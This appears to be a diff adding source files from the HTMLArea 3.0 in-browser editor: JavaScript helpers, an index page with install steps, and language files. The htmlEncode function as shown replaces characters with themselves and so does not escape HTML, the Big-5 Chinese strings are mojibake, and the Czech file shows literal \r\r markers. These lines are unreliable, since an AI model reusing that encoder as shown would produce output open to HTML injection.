+HTMLArea.is_mac_ie = (HTMLArea.is_ie && HTMLArea.is_mac);
+HTMLArea.is_win_ie = (HTMLArea.is_ie && !HTMLArea.is_mac);
+HTMLArea.is_gecko = (navigator.product == "Gecko");
+
+// variable used to pass the object to the popup editor window.
+HTMLArea._object = null;
+
+// function that returns a clone of the given object
+HTMLArea.cloneObject = function(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf("function Array(") == 1) {
+ newObj = obj.constructor();
+ }
+
+ // check for function objects (as usual, IE is fucked up)
+ if (obj.constructor.toString().indexOf("function Function(") == 1) {
+ newObj = obj; // just copy reference to it
+ } else for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = HTMLArea.cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+};
+
+// FIXME!!! this should return false for IE < 5.5
+HTMLArea.checkSupportedBrowser = function() {
+ if (HTMLArea.is_gecko) {
+ if (navigator.productSub < 20021201) {
+ alert("You need at least Mozilla-1.3 Alpha.\n" +
+ "Sorry, your Gecko is not supported.");
+ return false;
+ }
+ if (navigator.productSub < 20030210) {
+ alert("Mozilla < 1.3 Beta is not supported!\n" +
+ "I'll try, though, but it might not work.");
+ }
+ }
+ return HTMLArea.is_gecko || HTMLArea.is_ie;
+};
+
+// selection & ranges
+
+// returns the current selection object
+HTMLArea.prototype._getSelection = function() {
+ if (HTMLArea.is_ie) {
+ return this._doc.selection;
+ } else {
+ return this._iframe.contentWindow.getSelection();
+ }
+};
+
+// returns a range for the current selection
+HTMLArea.prototype._createRange = function(sel) {
+ if (HTMLArea.is_ie) {
+ return sel.createRange();
+ } else {
+ this.focusEditor();
+ if (typeof sel != "undefined") {
+ try {
+ return sel.getRangeAt(0);
+ } catch(e) {
+ return this._doc.createRange();
+ }
+ } else {
+ return this._doc.createRange();
+ }
+ }
+};
+
+// event handling
+
+HTMLArea._addEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._addEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._addEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._removeEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._removeEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._removeEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._stopEvent = function(ev) {
+ if (HTMLArea.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+HTMLArea._removeClass = function(el, className) {
+ if (!(el && el.className)) {
+ return;
+ }
+ var cls = el.className.split(" ");
+ var ar = new Array();
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] != className) {
+ ar[ar.length] = cls[i];
+ }
+ }
+ el.className = ar.join(" ");
+};
+
+HTMLArea._addClass = function(el, className) {
+ // remove the class first, if already there
+ HTMLArea._removeClass(el, className);
+ el.className += " " + className;
+};
+
+HTMLArea._hasClass = function(el, className) {
+ if (!(el && el.className)) {
+ return false;
+ }
+ var cls = el.className.split(" ");
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] == className) {
+ return true;
+ }
+ }
+ return false;
+};
+
+HTMLArea.isBlockElement = function(el) {
+ var blockTags = " body form textarea fieldset ul ol dl li div " +
+ "p h1 h2 h3 h4 h5 h6 quote pre table thead " +
+ "tbody tfoot tr td iframe address ";
+ return (blockTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+HTMLArea.needsClosingTag = function(el) {
+ var closingTags = " head script style div span tr td tbody table em strong font a title ";
+ return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+// performs HTML encoding of some given string
+HTMLArea.htmlEncode = function(str) {
+ // we don't need regexp for that, but.. so be it for now.
+ str = str.replace(/&/ig, "&");
+ str = str.replace(/</ig, "<");
+ str = str.replace(/>/ig, ">");
+ str = str.replace(/\x22/ig, """);
+ // \x22 means '"' -- we use hex reprezentation so that we don't disturb
+ // JS compressors (well, at least mine fails.. ;)
+ return str;
+};
+
+// Retrieves the HTML code from the given node. This is a replacement for
+// getting innerHTML, using standard DOM calls.
+HTMLArea.getHTML = function(root, outputRoot, editor) {
+ var html = "";
+ switch (root.nodeType) {
+ case 1: // Node.ELEMENT_NODE
+ case 11: // Node.DOCUMENT_FRAGMENT_NODE
+ var closed;
+ var i;
+ var root_tag = (root.nodeType == 1) ? root.tagName.toLowerCase() : '';
+ if (HTMLArea.is_ie && root_tag == "head") {
+ if (outputRoot)
+ html += "<head>";
+ // lowercasize
+ var save_multiline = RegExp.multiline;
+ RegExp.multiline = true;
+ var txt = root.innerHTML.replace(HTMLArea.RE_tagName, function(str, p1, p2) {
+ return p1 + p2.toLowerCase();
+ });
+ RegExp.multiline = save_multiline;
+ html += txt;
+ if (outputRoot)
+ html += "</head>";
+ break;
+ } else if (outputRoot) {
+ closed = (!(root.hasChildNodes() || HTMLArea.needsClosingTag(root)));
+ html = "<" + root.tagName.toLowerCase();
+ var attrs = root.attributes;
+ for (i = 0; i < attrs.length; ++i) {
+ var a = attrs.item(i);
+ if (!a.specified) {
+ continue;
+ }
+ var name = a.nodeName.toLowerCase();
+ if (/_moz_editor_bogus_node/.test(name)) {
+ html = "";
+ break;
+ }
+ if (/_moz|contenteditable|_msh/.test(name)) {
+ // avoid certain attributes
+ continue;
+ }
+ var value;
+ if (name != "style") {
+ // IE5.5 reports 25 when cellSpacing is
+ // 1; other values might be doomed too.
+ // For this reason we extract the
+ // values directly from the root node.
+ // I'm starting to HATE JavaScript
+ // development. Browser differences
+ // suck.
+ //
+ // Using Gecko the values of href and src are converted to absolute links
+ // unless we get them using nodeValue()
+ if (typeof root[a.nodeName] != "undefined" && name != "href" && name != "src") {
+ value = root[a.nodeName];
+ } else {
+ value = a.nodeValue;
+ // IE seems not willing to return the original values - it converts to absolute
+ // links using a.nodeValue, a.value, a.stringValue, root.getAttribute("href")
+ // So we have to strip the baseurl manually -/
+ if (HTMLArea.is_ie && (name == "href" || name == "src")) {
+ value = editor.stripBaseURL(value);
+ }
+ }
+ } else { // IE fails to put style in attributes list
+ // FIXME: cssText reported by IE is UPPERCASE
+ value = root.style.cssText;
+ }
+ if (/(_moz|^$)/.test(value)) {
+ // Mozilla reports some special tags
+ // here; we don't need them.
+ continue;
+ }
+ html += " " + name + '="' + value + '"';
+ }
+ if (html != "") {
+ html += closed ? " />" : ">";
+ }
+ }
+ for (i = root.firstChild; i; i = i.nextSibling) {
+ html += HTMLArea.getHTML(i, true, editor);
+ }
+ if (outputRoot && !closed) {
+ html += "</" + root.tagName.toLowerCase() + ">";
+ }
+ break;
+ case 3: // Node.TEXT_NODE
+ // If a text node is alone in an element and all spaces, replace it with an non breaking one
+ // This partially undoes the damage done by moz, which translates ' 's into spaces in the data element
+ if ( !root.previousSibling && !root.nextSibling && root.data.match(/^\s*$/i) ) html = ' ';
+ else html = HTMLArea.htmlEncode(root.data);
+ break;
+ case 8: // Node.COMMENT_NODE
+ html = "<!--" + root.data + "-->";
+ break; // skip comments, for now.
+ }
+ return html;
+};
+
+HTMLArea.prototype.stripBaseURL = function(string) {
+ var baseurl = this.config.baseURL;
+
+ // strip to last directory in case baseurl points to a file
+ baseurl = baseurl.replace(/[^\/]+$/, '');
+ var basere = new RegExp(baseurl);
+ string = string.replace(basere, "");
+
+ // strip host-part of URL which is added by MSIE to links relative to server root
+ baseurl = baseurl.replace(/^(https?:\/\/[^\/]+)(.*)$/, '$1');
+ basere = new RegExp(baseurl);
+ return string.replace(basere, "");
+};
+
+String.prototype.trim = function() {
+ a = this.replace(/^\s+/, '');
+ return a.replace(/\s+$/, '');
+};
+
+// creates a rgb-style color from a number
+HTMLArea._makeColor = function(v) {
+ if (typeof v != "number") {
+ // already in rgb (hopefully); IE doesn't get here.
+ return v;
+ }
+ // IE sends number; convert to rgb.
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "rgb(" + r + "," + g + "," + b + ")";
+};
+
+// returns hexadecimal color representation from a number or a rgb-style color.
+HTMLArea._colorToRgb = function(v) {
+ if (!v)
+ return '';
+
+ // returns the hex representation of one byte (2 digits)
+ function hex(d) {
+ return (d < 16) ? ("0" + d.toString(16)) : d.toString(16);
+ };
+
+ if (typeof v == "number") {
+ // we're talking to IE here
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+
+ if (v.substr(0, 3) == "rgb") {
+ // in rgb(...) form -- Mozilla
+ var re = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/;
+ if (v.match(re)) {
+ var r = parseInt(RegExp.$1);
+ var g = parseInt(RegExp.$2);
+ var b = parseInt(RegExp.$3);
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+ // doesn't match RE?! maybe uses percentages or float numbers
+ // -- FIXME: not yet implemented.
+ return null;
+ }
+
+ if (v.substr(0, 1) == "#") {
+ // already hex rgb (hopefully :D )
+ return v;
+ }
+
+ // if everything else fails ;)
+ return null;
+};
+
+// modal dialogs for Mozilla (for IE we're using the showModalDialog() call).
+
+// receives an URL to the popup dialog and a function that receives one value;
+// this function will get called after the dialog is closed, with the return
+// value of the dialog.
+HTMLArea.prototype._popupDialog = function(url, action, init) {
+ Dialog(this.popupURL(url), action, init);
+};
+
+// paths
+
+HTMLArea.prototype.imgURL = function(file, plugin) {
+ if (typeof plugin == "undefined")
+ return _editor_url + file;
+ else
+ return _editor_url + "plugins/" + plugin + "/img/" + file;
+};
+
+HTMLArea.prototype.popupURL = function(file) {
+ var url = "";
+ if (file.match(/^plugin:\/\/(.*?)\/(.*)/)) {
+ var plugin = RegExp.$1;
+ var popup = RegExp.$2;
+ if (!/\.html$/.test(popup))
+ popup += ".html";
+ url = _editor_url + "plugins/" + plugin + "/popups/" + popup;
+ } else
+ url = _editor_url + this.config.popupURL + file;
+ return url;
+};
+
+/**
+ * FIX: Internet Explorer returns an item having the _name_ equal to the given
+ * id, even if it's not having any id. This way it can return a different form
+ * field even if it's not a textarea. This workarounds the problem by
+ * specifically looking to search only elements having a certain tag name.
+ */
+HTMLArea.getElementById = function(tag, id) {
+ var el, i, objs = document.getElementsByTagName(tag);
+ for (i = objs.length; --i >= 0 && (el = objs[i]);)
+ if (el.id == id)
+ return el;
+ return null;
+};
+
+
+
+// EOF
+// Local variables: //
+// c-basic-offset:8 //
+// indent-tabs-mode:t //
+// End: //
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+ <head>
+ <title>HTMLArea -- the free, customizable online editor</title>
+
+ <style type="text/css">
+ html, body { font-family: georgia,"times new roman",serif; background-color: #fff; color: #000; }
+ .label { text-align: right; padding-right: 0.3em; }
+ .bline { border-bottom: 1px solid #aaa; }
+ </style>
+ </head>
+
+ <body>
+ <div style="float: right; border: 1px solid #aaa; background-color: #eee; padding: 3px; margin-left: 10px; margin-bottom: 10px;">
+ <table cellspacing="0" cellpadding="0" border="0">
+ <tr>
+ <td class="label">Version:</td><td><% $version %></td>
+ </tr>
+ <tr>
+ <td class="label">Release:</td><td><% $release %> (<a href="release-notes.html">release notes</a>)</td>
+ </tr>
+ <tr>
+ <td class="label bline">Compiled at:</td><td class="bline"><% $time %></td>
+ </tr>
+ <tr>
+ <td class="label">SourceForge page:</td><td><a href="http://sf.net/projects/itools-htmlarea/">http://sf.net/projects/itools-htmlarea/</a></td>
+ </table>
+ </div>
+ <h1>HTMLArea -- the free<br/>customizable online editor</h1>
+
+ <p>
+ HTMLArea is a free, customizable online editor. It works inside your
+ browser. It uses a non-standard feature implemented in Internet
+ Explorer 5.5 or better for Windows and Mozilla 1.3 or better (any
+ platform), therefore it will only work in one of these browsers.
+ </p>
+
+ <p>
+ HTMLArea is copyright <a
+ href="http://interactivetools.com">InteractiveTools.com</a> and <a
+ href="http://dynarch.com">Dynarch.com</a> and it is
+ released under a BSD-style license. HTMLArea is created and developed
+ upto version 2.03 by InteractiveTools.com. Version 3.0 developed by
+ <a href="http://dynarch.com/mishoo/">Mihai Bazon</a> for
+ InteractiveTools. It contains code sponsored by third-party companies as well.
+ Please see our About Box for details about who sponsored what plugins.
+ </p>
+
+ <h2>Online demos</h2>
+
+ <ul>
+ <li><a href="examples/images.html">Image Manager Version</a> -- Contains the image manger plugin.</li>
+
+ <li><a href="examples/core.html">HTMLArea standard</a> -- contains the core
+ editor.</li>
+
+ <li><a href="examples/table-operations.html">HTMLArea + tables</a> --
+ loads the <tt>TableOperations</tt> plugin which provides some extra
+ editing features for tables.</li>
+
+ <li><a href="examples/spell-checker.html">HTMLArea + spell checher</a>
+ -- loads the <tt>SpellChecker</tt> plugin which provides what its
+ name says: a spell checker. This one requires additional support on
+ the server-side.</li>
+
+ <li><a href="examples/full-page.html">HTMLArea Full HTML Editor</a> --
+ loads the <tt>FullPage</tt> plugin which allows you to edit a full
+ HTML page, including <title>, <!DOCTYPE...> and some
+ other options.</li>
+
+ <li><a href="examples/context-menu.html">HTMLArea with Context
+ Menu</a> -- this plugin provides a nice and useful context menu.</li>
+
+ <li><a href="examples/fully-loaded.html">HTMLArea fully loaded</a> --
+ all of the above. ;-)</li>
+
+ </ul>
+
+ <h2>Installation</h2>
+
+ <p>
+ Installation is (or should be) easy. You need to unpack the ZIP file
+ in a directory accessible through your webserver. Supposing you
+ unpack in your <tt>DocumentRoot</tt> and your <tt>DocumentRoot</tt> is
+ <tt>/var/www/html</tt> as in a standard RedHat installation, you need
+ to acomplish the following steps: (the example is for a Unix-like
+ operating system)
+ </p>
+
+ <pre style="margin-left: 2em"
+>
+cd /var/www/html
+unzip /path/to/archive/<% $basename %>.zip
+mv <% $basename %> htmlarea
+find htmlarea/ -type f -exec chmod 644 {} \;
+find htmlarea/ -type d -exec chmod 755 {} \;
+find htmlarea/ -name "*.cgi" -exec chmod 755 {} \;</pre>
+
+ <p>
+ <strong>Notes.</strong> You may chose to symlink "htmlarea" to "<%
+ $basename %>", in which case your server needs to be configured to
+ "<tt>FollowSymLinks</tt>". You need to make sure that *.cgi files are
+ interpreted as CGI scripts. If you want to use the SpellChecker
+ plugin you need to have a recent version of Perl installed (I
+ recommend 5.8.0) on the server, and the module Text::Aspell, available
+ from CPAN. More info in "<a
+ href="plugins/SpellChecker/readme-tech.html">plugins/SpellChecker/readme-tech.html</a>".
+ </p>
+
+ <p>About how to setup your pages to use the editor, please read the
+ [outdated yet generally valid] <a
+ href="reference.html">documentation</a>.</p>
+
+ <h2>Status and links</h2>
+
+ <p>HTMLArea has reached version 3.0. As of this version, it
+ supports:</p>
+
+ <ul>
+
+ <li>Customizable toolbar</li>
+
+ <li>Easy internationalization</li>
+
+ <li>Plugin-based infrastructure</li>
+
+ <li>Delivers W3-compliant HTML (with few exceptions)</li>
+
+ <li>Has a subset of Microsoft Word's keyboard shortcuts</li>
+
+ <li>Full-screen editor</li>
+
+ <li>Advanced table operations (by external plugin
+ "TableOperations")</li>
+
+ <li>Spell checker (by external plugin "SpellChecker")</li>
+
+ <li>probably more... ;-)</li>
+
+ </ul>
+
+ <p>We have a <a
+ href="http://sourceforge.net/projects/itools-htmlarea/">project page</a>
+ at <a href="http://sourceforge.net">SourceForge.net</a>. There you can
+ also find out <a href="http://sourceforge.net/cvs/?group_id=69750">how
+ to retrieve the code from CVS</a>, or you can <a
+ href="http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/itools-htmlarea">browse
+ the CVS online</a>. We also have a <a
+ href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+ system</a>, a <a
+ href="http://sourceforge.net/tracker/?atid=525658&group_id=69750&func=browse">patch
+ tracking system</a> and a <a
+ href="http://sourceforge.net/tracker/?atid=525659&group_id=69750&func=browse">feature
+ request page</a>.</p>
+
+ <p>We invite you to say everything you want about HTMLArea <a
+ href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">on the
+ forums</a> at InteractiveTools.com. There you should also find the
+ latest news.</p>
+
+ <p>Sometimes I post news about the latest developments on <a
+ href="http://dynarch.com/mishoo/">my personal homepage</a>.</p>
+
+ <h2>"It doesn't work, what's wrong?"</h2>
+
+ <p>If it doesn't work, you have several options:</p>
+
+ <ul>
+
+ <li>Post a message to the forum. Describe your problem in as much
+ detail as possible. Include errors you might find in the JavaScript
+ console (if you are a Mozilla user), or errors displayed by IE (though
+ they're most of the times useless).</li>
+
+ <li>If you're positive that you discovered a bug in HTMLArea then feel
+ free to fill a bug report in our bug system. If you have the time you
+ should check to see if a similar bug was reported or not; it might be
+ fixed already in the CVS ;-) If you're positive that a similar bug was
+ not yet reported, do fill a bug report and please include as much
+ detail as possible, such as your browser, OS, errors from JavaScript
+ console, etc.</li>
+
+ <li>If you want a new feature to be implemented, post it on the
+ features request and someone will hopefully take care of it.</li>
+
+ </ul>
+
+ <p>You can <a href="mailto:mishoo@infoiasi.ro">contact me directly</a>
+ <em>only</em> if you want to pay me for implementing custom features to
+ HTMLArea. If you want to sponsor these features (that is, allow them to
+ get back into the public HTMLArea distribution) I'll be cheaper. ;-)</p>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug 3 14:11:26 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:54:47 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
+
+<%ARGS>
+ $project => 'HTMLArea'
+ $version => '3.0'
+ $release => 'rc1'
+ $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
--- /dev/null
+// I18N constants -- Chinese Big-5
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "b5",
+
+ tooltips: {
+ bold: "²ÊÅé",
+ italic: "±×Åé",
+ underline: "©³½u",
+ strikethrough: "§R°£½u",
+ subscript: "¤U¼Ð",
+ superscript: "¤W¼Ð",
+ justifyleft: "¦ì¸m¾a¥ª",
+ justifycenter: "¦ì¸m©~¤¤",
+ justifyright: "¦ì¸m¾a¥k",
+ justifyfull: "¦ì¸m¥ª¥k¥µ¥",
+ orderedlist: "¶¶§Ç²M³æ",
+ unorderedlist: "µL§Ç²M³æ",
+ outdent: "´î¤p¦æ«eªÅ¥Õ",
+ indent: "¥[¼e¦æ«eªÅ¥Õ",
+ forecolor: "¤å¦rÃC¦â",
+ backcolor: "I´ºÃC¦â",
+ horizontalrule: "¤ô¥½u",
+ createlink: "´¡¤J³sµ²",
+ insertimage: "´¡¤J¹Ï§Î",
+ inserttable: "´¡¤Jªí®æ",
+ htmlmode: "¤Á´«HTMLì©l½X",
+ popupeditor: "©ñ¤j",
+ about: "Ãö©ó HTMLArea",
+ help: "»¡©ú",
+ textindicator: "¦rÅé¨Ò¤l"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "cz",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Tučně",\r\r
+ italic: "Kurzíva",\r\r
+ underline: "Podtržení",\r\r
+ strikethrough: "Přeškrtnutí",\r\r
+ subscript: "Dolní index",\r\r
+ superscript: "Horní index",\r\r
+ justifyleft: "Zarovnat doleva",\r\r
+ justifycenter: "Na střed",\r\r
+ justifyright: "Zarovnat doprava",\r\r
+ justifyfull: "Zarovnat do stran",\r\r
+ orderedlist: "Seznam",\r\r
+ unorderedlist: "Odrážky",\r\r
+ outdent: "Předsadit",\r\r
+ indent: "Odsadit",\r\r
+ forecolor: "Barva písma",\r\r
+ hilitecolor: "Barva pozadí",\r\r
+ horizontalrule: "Vodorovná čára",\r\r
+ createlink: "Vložit odkaz",\r\r
+ insertimage: "Vložit obrázek",\r\r
+ inserttable: "Vložit tabulku",\r\r
+ htmlmode: "Přepnout HTML",\r\r
+ popupeditor: "Nové okno editoru",\r\r
+ about: "O této aplikaci",\r\r
+ showhelp: "Nápověda aplikace",\r\r
+ textindicator: "Zvolený styl",\r\r
+ undo: "Vrátí poslední akci",\r\r
+ redo: "Opakuje poslední akci",\r\r
+ cut: "Vyjmout",\r\r
+ copy: "Kopírovat",\r\r
+ paste: "Vložit"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Zrušit"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Cesta",\r\r
+ "TEXT_MODE": "Jste v TEXTOVÉM REŽIMU. Použijte tlačítko [<>] pro přepnutí do WYSIWIG."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// danish version for htmlArea v3.0 - Alpha Release
+// - translated by rene<rene@laerke.net>
+// term´s and licenses are equal to htmlarea!
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "da",
+
+ tooltips: {
+ bold: "Fed",
+ italic: "Kursiv",
+ underline: "Understregning",
+ strikethrough: "Overstregning ",
+ subscript: "Sænket skrift",
+ superscript: "Hævet skrift",
+ justifyleft: "Venstrejuster",
+ justifycenter: "Centrer",
+ justifyright: "Højrejuster",
+ justifyfull: "Lige margener",
+ orderedlist: "Opstilling med tal",
+ unorderedlist: "Opstilling med punkttegn",
+ outdent: "Formindsk indrykning",
+ indent: "Forøg indrykning",
+ forecolor: "Skriftfarve",
+ backcolor: "Baggrundsfarve",
+ horizontalrule: "Horisontal linie",
+ createlink: "Indsæt hyperlink",
+ insertimage: "Indsæt billede",
+ inserttable: "Indsæt tabel",
+ htmlmode: "HTML visning",
+ popupeditor: "Vis editor i popup",
+ about: "Om htmlarea",
+ help: "Hjælp",
+ textindicator: "Anvendt stil"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: ISO-8859-1 for the german umlaut!
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "de",
+
+ tooltips: {
+ bold: "Fett",
+ italic: "Kursiv",
+ underline: "Unterstrichen",
+ strikethrough: "Durchgestrichen",
+ subscript: "Hochgestellt",
+ superscript: "Tiefgestellt",
+ justifyleft: "Linksbündig",
+ justifycenter: "Zentriert",
+ justifyright: "Rechtsbündig",
+ justifyfull: "Blocksatz",
+ orderedlist: "Nummerierung",
+ unorderedlist: "Aufzählungszeichen",
+ outdent: "Einzug verkleinern",
+ indent: "Einzug vergrößern",
+ forecolor: "Schriftfarbe",
+ backcolor: "Hindergrundfarbe",
+ hilitecolor: "Hintergrundfarbe",
+ horizontalrule: "Horizontale Linie",
+ inserthorizontalrule: "Horizontale Linie",
+ createlink: "Hyperlink einfügen",
+ insertimage: "Bild einfügen",
+ inserttable: "Tabelle einfügen",
+ htmlmode: "HTML Modus",
+ popupeditor: "Editor im Popup öffnen",
+ about: "Über htmlarea",
+ help: "Hilfe",
+ showhelp: "Hilfe",
+ textindicator: "Derzeitiger Stil",
+ undo: "Rückgängig",
+ redo: "Wiederholen",
+ cut: "Ausschneiden",
+ copy: "Kopieren",
+ paste: "Einfügen aus der Zwischenablage",
+ lefttoright: "Textrichtung von Links nach Rechts",
+ righttoleft: "Textrichtung von Rechts nach Links"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Abbrechen"
+ },
+
+ msg: {
+ "Path": "Pfad",
+ "TEXT_MODE": "Sie sind im Text-Modus. Benutzen Sie den [<>] Knopf um in den visuellen Modus (WYSIWIG) zu gelangen.",
+
+ "Moz-Clipboard" :
+ "Aus Sicherheitsgründen dürfen Skripte normalerweise nicht programmtechnisch auf " +
+ "Ausschneiden/Kopieren/Einfügen zugreifen. Bitte klicken Sie OK um die technische " +
+ "Erläuterung auf mozilla.org zu öffnen, in der erklärt wird, wie einem Skript Zugriff " +
+ "gewährt werden kann."
+ },
+
+ dialogs: {
+ "OK": "OK",
+ "Cancel": "Abbrechen",
+ "Insert/Modify Link": "Verknüpfung hinzufügen/ändern",
+ "None (use implicit)": "k.A. (implizit)",
+ "New window (_blank)": "Neues Fenster (_blank)",
+ "Same frame (_self)": "Selber Rahmen (_self)",
+ "Top frame (_top)": "Oberster Rahmen (_top)",
+ "Other": "Anderes",
+ "Target:": "Ziel:",
+ "Title (tooltip):": "Titel (Tooltip):",
+ "URL:": "URL:",
+ "You must enter the URL where this link points to": "Sie müssen eine Ziel-URL angeben für die Verknüpfung angeben"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "ee", ENCODING: UTF-8 | ISO-8859-1
+// Author: Martin Raie, <albertvill@hot.ee>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ee",
+
+ tooltips: {
+ bold: "Paks",
+ italic: "Kursiiv",
+ underline: "Allakriipsutatud",
+ strikethrough: "Läbikriipsutatud",
+ subscript: "Allindeks",
+ superscript: "Ülaindeks",
+ justifyleft: "Joonda vasakule",
+ justifycenter: "Joonda keskele",
+ justifyright: "Joonda paremale",
+ justifyfull: "Rööpjoonda",
+ orderedlist: "Nummerdus",
+ unorderedlist: "Täpploend",
+ outdent: "Vähenda taanet",
+ indent: "Suurenda taanet",
+ forecolor: "Fondi värv",
+ hilitecolor: "Tausta värv",
+ inserthorizontalrule: "Horisontaaljoon",
+ createlink: "Lisa viit",
+ insertimage: "Lisa pilt",
+ inserttable: "Lisa tabel",
+ htmlmode: "HTML/tavaline vaade",
+ popupeditor: "Suurenda toimeti aken",
+ about: "Teave toimeti kohta",
+ showhelp: "Spikker",
+ textindicator: "Kirjastiil",
+ undo: "Võta tagasi",
+ redo: "Tee uuesti",
+ cut: "Lõika",
+ copy: "Kopeeri",
+ paste: "Kleebi"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Loobu"
+ },
+
+ msg: {
+ "Path": "Path",
+ "TEXT_MODE": "Sa oled tekstireziimis. Kasuta nuppu [<>] lülitamaks tagasi WYSIWIG reziimi."
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "el",
+
+ tooltips: {
+ bold: "Έντονα",
+ italic: "Πλάγια",
+ underline: "Υπογραμμισμένα",
+ strikethrough: "Διαγραμμένα",
+ subscript: "Δείκτης",
+ superscript: "Δείκτης",
+ justifyleft: "Στοίχιση Αριστερά",
+ justifycenter: "Στοίχιση Κέντρο",
+ justifyright: "Στοίχιση Δεξιά",
+ justifyfull: "Πλήρης Στοίχιση",
+ orderedlist: "Αρίθμηση",
+ unorderedlist: "Κουκκίδες",
+ outdent: "Μείωση Εσοχής",
+ indent: "Αύξηση Εσοχής",
+ forecolor: "Χρώμα Γραμματοσειράς",
+ hilitecolor: "Χρώμα Φόντου",
+ horizontalrule: "Οριζόντια Γραμμή",
+ createlink: "Εισαγωγή Συνδέσμου",
+ insertimage: "Εισαγωγή/Τροποποίηση Εικόνας",
+ inserttable: "Εισαγωγή Πίνακα",
+ htmlmode: "Εναλλαγή σε/από HTML",
+ popupeditor: "Μεγένθυνση επεξεργαστή",
+ about: "Πληροφορίες",
+ showhelp: "Βοήθεια",
+ textindicator: "Παρών στυλ",
+ undo: "Αναίρεση τελευταίας ενέργειας",
+ redo: "Επαναφορά από αναίρεση",
+ cut: "Αποκοπή",
+ copy: "Αντιγραφή",
+ paste: "Επικόλληση",
+ lefttoright: "Κατεύθυνση αριστερά προς δεξιά",
+ righttoleft: "Κατεύθυνση από δεξιά προς τα αριστερά"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Ακύρωση"
+ },
+
+ msg: {
+ "Path": "Διαδρομή",
+ "TEXT_MODE": "Είστε σε TEXT MODE. Χρησιμοποιήστε το κουμπί [<>] για να επανέρθετε στο WYSIWIG.",
+
+ "IE-sucks-full-screen": "Η κατάσταση πλήρης οθόνης έχει προβλήματα με τον Internet Explorer, " +
+ "λόγω σφαλμάτων στον ίδιο τον browser. Αν το σύστημα σας είναι Windows 9x " +
+ "μπορεί και να χρειαστείτε reboot. Αν είστε σίγουροι, πατήστε ΟΚ."
+ },
+
+ dialogs: {
